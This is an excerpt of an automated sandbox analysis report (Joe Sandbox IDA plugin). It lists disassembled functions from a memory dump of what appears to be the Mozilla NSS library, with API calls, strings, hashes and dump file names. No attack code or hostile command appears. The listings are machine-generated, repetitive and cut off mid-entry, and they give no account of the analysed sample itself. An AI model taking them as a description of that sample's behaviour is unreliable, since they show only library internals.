Part of subcall function 6CE6BB80: GetLastError.KERNEL32 ref: 6CE6BC03
Part of subcall function 6CE6BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE6BC19
Part of subcall function 6CE6BB80: free.MOZGLUE(00000000), ref: 6CE6BC22

PR_NewCondVar.NSS3(?), ref: 6CF99CF0
PR_NewPollableEvent.NSS3 ref: 6CF99D03

Part of subcall function 6CF8F3B0: PR_CallOnce.NSS3(6CFE14B0,6CF8F510), ref: 6CF8F3E6
Part of subcall function 6CF8F3B0: PR_CreateIOLayerStub.NSS3(6CFE006C), ref: 6CF8F402
Part of subcall function 6CF8F3B0: PR_Malloc.NSS3(00000004), ref: 6CF8F416
Part of subcall function 6CF8F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CF8F42D
Part of subcall function 6CF8F3B0: PR_SetSocketOption.NSS3(?), ref: 6CF8F455
Part of subcall function 6CF8F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CF8F473

Part of subcall function 6CF49890: TlsGetValue.KERNEL32(?,?,?,6CF497EB), ref: 6CF4989E

EnterCriticalSection.KERNEL32(?), ref: 6CF99D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CF99DAF
_PR_CreateThread.NSS3(00000000,6CF99EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF99D9F

Part of subcall function 6CE6B3C0: TlsGetValue.KERNEL32 ref: 6CE6B403
Part of subcall function 6CE6B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CE6B459

_PR_CreateThread.NSS3(00000000,6CF9A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF99DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CF99DFC
_PR_CreateThread.NSS3(00000000,6CF9A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF99E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CF99E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CF99E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF99E89

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 14456d99fc045e609c04758cb0c07c68437fdbf9497277ce036035ea828ddabe
Instruction ID: bf444f5c451feadacf44eeb21407395d38a034616a4ecd1cbbbaa35422d2136b
Opcode Fuzzy Hash: 14456d99fc045e609c04758cb0c07c68437fdbf9497277ce036035ea828ddabe
Instruction Fuzzy Hash: 68614FB1E10706AFEB14DF75D844AA77BF8FF08208B15452AE859C7B11EB70E914CBA1

Function 6CE93FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CE94014

Part of subcall function 6CE939F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE95E6F,?), ref: 6CE93A08
Part of subcall function 6CE939F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE95E6F), ref: 6CE93A1C
Part of subcall function 6CE939F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE93A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CE94038

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CE9404D

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CFAA0F4), ref: 6CE940C2

Part of subcall function 6CEDF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CEDF0C8
Part of subcall function 6CEDF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEDF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CE9409A

Part of subcall function 6CEDBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE8E708,00000000,00000000,00000004,00000000), ref: 6CEDBE6A
Part of subcall function 6CEDBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE904DC,?), ref: 6CEDBE7E
Part of subcall function 6CEDBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEDBEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE940DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE940F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE94108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CE9411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CE94137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CE94150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CFAA1C8), ref: 6CE9417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CE94194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE941A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE941B2
PK11_DestroyObject.NSS3(?,?), ref: 6CE941D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE941FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CFAA1A8), ref: 6CE9422D

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: d91e9ac2f8b01a07850974b9ccaf4d52e7b24db5f9949fd0b89982e168b1c9cf
Instruction ID: 1a39cfc3ea9b64a05da184623d2338bfc02e16e87e9f93cefa15e4f1833045af
Opcode Fuzzy Hash: d91e9ac2f8b01a07850974b9ccaf4d52e7b24db5f9949fd0b89982e168b1c9cf
Instruction Fuzzy Hash: C65107B6A003006BF7109B669C41B6776FCDF5524CF24452EED69C7F82FB31E50886A2

Function 6CED8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CED8E01,00000000,6CED9060,6CFE0B64), ref: 6CED8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CED8E01,00000000,6CED9060,6CFE0B64), ref: 6CED8E9E
PORT_ArenaAlloc_Util.NSS3(6CFE0B64,00000001,?,?,?,?,6CED8E01,00000000,6CED9060,6CFE0B64), ref: 6CED8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CED8E01,00000000,6CED9060,6CFE0B64), ref: 6CED8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CED8E01,00000000,6CED9060,6CFE0B64), ref: 6CED8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CED8E01,00000000,6CED9060,6CFE0B64), ref: 6CED8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CED8E01), ref: 6CED8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CFE0B64,6CFE0B64), ref: 6CED8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CED8F3F

Part of subcall function 6CEDA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CEDA421,00000000,00000000,6CED9826), ref: 6CEDA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CED904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CED8E76

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 3ed2c91cddc81e7a33d17f63621103eba43bc2294d11787f84579f4e955ac3b2
Instruction ID: 81941083fb0acc2d3f03fa816c9d6e2714856c21dde796e6dd2cd7a530c63f4b
Opcode Fuzzy Hash: 3ed2c91cddc81e7a33d17f63621103eba43bc2294d11787f84579f4e955ac3b2
Instruction Fuzzy Hash: 2D616FB5D0020A9BDB10CF95DC80AABB7B5FF84358F254529DC18A7741EB32B916CBE1

Function 6CE88E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE88E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE88E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE88EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CFB18D0,?), ref: 6CE88F03
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CE88F19
PL_FreeArenaPool.NSS3(?), ref: 6CE88F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE88F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE88F65
PL_FinishArenaPool.NSS3(?), ref: 6CE88FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CE88FFE
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CE89012
PL_FreeArenaPool.NSS3(?), ref: 6CE89024
PL_FinishArenaPool.NSS3(?), ref: 6CE8902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CE8903E

Strings

security, xrefs: 6CE88EE7

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 7831f3abdbe54900ee7ad5030026a831a9294205d3d93abe42b12a73daeaff0a
Instruction ID: a7cfb2da81117ee02f23c7b8deb80782a4f01e38a387b45448211f0715ff78c2
Opcode Fuzzy Hash: 7831f3abdbe54900ee7ad5030026a831a9294205d3d93abe42b12a73daeaff0a
Instruction Fuzzy Hash: 18513DB1909300ABD7209A549C41FAB77F8AF8A75CF64082EFD4997B41E731D909C763

Function 6CEB4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CEB4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB4EC7

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CEB4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CEB4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CEB4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CEB4F68

Strings

pTemplate = 0x%p, xrefs: 6CEB4F4A
hSession = 0x%x, xrefs: 6CEB4EA2, 6CEB4EB2
ulCount = %d, xrefs: 6CEB4F63
hObject = 0x%x, xrefs: 6CEB4EF5, 6CEB4F05
(CK_INVALID_HANDLE), xrefs: 6CEB4EC0, 6CEB4F13
C_GetAttributeValue, xrefs: 6CEB4E7E

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 243c00df06cfebf5c005dfd6b1f2ea9cffe43736399bfed67890f2d32c91c279
Instruction ID: a0b30d67a859f4f175f9324a72e27d9816cd9a8a62062eb02b56ef823b37f58f
Opcode Fuzzy Hash: 243c00df06cfebf5c005dfd6b1f2ea9cffe43736399bfed67890f2d32c91c279
Instruction Fuzzy Hash: C9411631A01104FFEB40DF54DE49FAA77B5AB4630DF154429F5086B711DB359E09CBA1

Function 6CEB4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CEB4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB4D37

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CEB4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CEB4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CEB4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CEB4E20

Strings

hSession = 0x%x, xrefs: 6CEB4D12, 6CEB4D22
pulSize = 0x%p, xrefs: 6CEB4DB7
C_GetObjectSize, xrefs: 6CEB4CEE
hObject = 0x%x, xrefs: 6CEB4D65, 6CEB4D75
*pulSize = 0x%x, xrefs: 6CEB4E1B
(CK_INVALID_HANDLE), xrefs: 6CEB4D30, 6CEB4D83

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: f60a5572bf8435ac1cf076d0e239487e0ddd964e027452eb874ecd633946064e
Instruction ID: 67dddd8c433bbd78cdd6f15dfa5735175237064c14347dc6e99860f1dc5553c5
Opcode Fuzzy Hash: f60a5572bf8435ac1cf076d0e239487e0ddd964e027452eb874ecd633946064e
Instruction Fuzzy Hash: 2A41F671A00105FFEB849F50DE88B6A77B5EB4A30DF15442AF5087B712EB369D09CB61

Function 6CEB7C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CEB7CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB7CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB7CF3

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB7D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CEB7D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CEB7D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CEB7D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CEB7D77

Strings

hSession = 0x%x, xrefs: 6CEB7CCE, 6CEB7CDE
ulDataLen = %d, xrefs: 6CEB7D40
pSignature = 0x%p, xrefs: 6CEB7D59
ulSignatureLen = %d, xrefs: 6CEB7D72
C_Verify, xrefs: 6CEB7CB1
pData = 0x%p, xrefs: 6CEB7D25
(CK_INVALID_HANDLE), xrefs: 6CEB7CEC

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: 767767e0f3c6f12cad9c80790194877c5b236fe3aa6aab9d828af23b28f320e1
Instruction ID: 9816063c367cd72353d12dd031856aca1d13ef8415c6e5b8c08c799113e2e123
Opcode Fuzzy Hash: 767767e0f3c6f12cad9c80790194877c5b236fe3aa6aab9d828af23b28f320e1
Instruction Fuzzy Hash: FB311531A00109FFDB84DF64DE48F6A7BB1AB4A30CF194428F50867B11DB329909CBB1

Function 6CEB2F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CEB2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB2F63

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CEB2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CEB2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CEB2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CEB2FE7

Strings

hSession = 0x%x, xrefs: 6CEB2F3E, 6CEB2F4E
pOldPin = 0x%p, xrefs: 6CEB2F95
ulNewLen = %d, xrefs: 6CEB2FE2
ulOldLen = %d, xrefs: 6CEB2FB0
C_SetPIN, xrefs: 6CEB2F21
(CK_INVALID_HANDLE), xrefs: 6CEB2F5C
pNewPin = 0x%p, xrefs: 6CEB2FC9

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 966a0c3fd94b8ff342f339ef3d794e604bd3e4c2ea8903496ea7ac8e9a1207fa
Instruction ID: c2ee09617014792d390ef65541281191c4814193d033053369d471787dda2ae5
Opcode Fuzzy Hash: 966a0c3fd94b8ff342f339ef3d794e604bd3e4c2ea8903496ea7ac8e9a1207fa
Instruction Fuzzy Hash: 9C31D035A01145BFDB849B54DE4DF6A7BB1AF4A319F194018F808B7712EB329908CBA1

Function 6CF4CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF4CC7B), ref: 6CF4CD7A

Part of subcall function 6CF4CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CEBC1A8,?), ref: 6CF4CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF4CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF4CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CF4CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF4CD8E

Part of subcall function 6CE705C0: PR_EnterMonitor.NSS3 ref: 6CE705D1
Part of subcall function 6CE705C0: PR_ExitMonitor.NSS3 ref: 6CE705EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CF4CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF4CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF4CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF4CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CF4CE48

Strings

getaddrinfo, xrefs: 6CF4CD88, 6CF4CDF9
ws2_32.dll, xrefs: 6CF4CD75
freeaddrinfo, xrefs: 6CF4CD9F, 6CF4CE10
wship6.dll, xrefs: 6CF4CDE3
getnameinfo, xrefs: 6CF4CDB2, 6CF4CE23

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 86b14ca1aec30b9d03ea11772a2aa21a7ffa2ca542fbf3d17eb6ba9ad6f5c544
Instruction ID: 697d1edfbd2a57854794416484d7a5a2474eb6ded47f5b7a58519f799cfa5291
Opcode Fuzzy Hash: 86b14ca1aec30b9d03ea11772a2aa21a7ffa2ca542fbf3d17eb6ba9ad6f5c544
Instruction Fuzzy Hash: ED11D6A5E1251222E7916B772C00B9B3C785B4210CF289938D815E5F43FB22CA4DC3F2

Function 6CF91C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CF913BC,?,?,?,6CF91193), ref: 6CF91C6B
PR_NewLock.NSS3(?,6CF91193), ref: 6CF91C7E

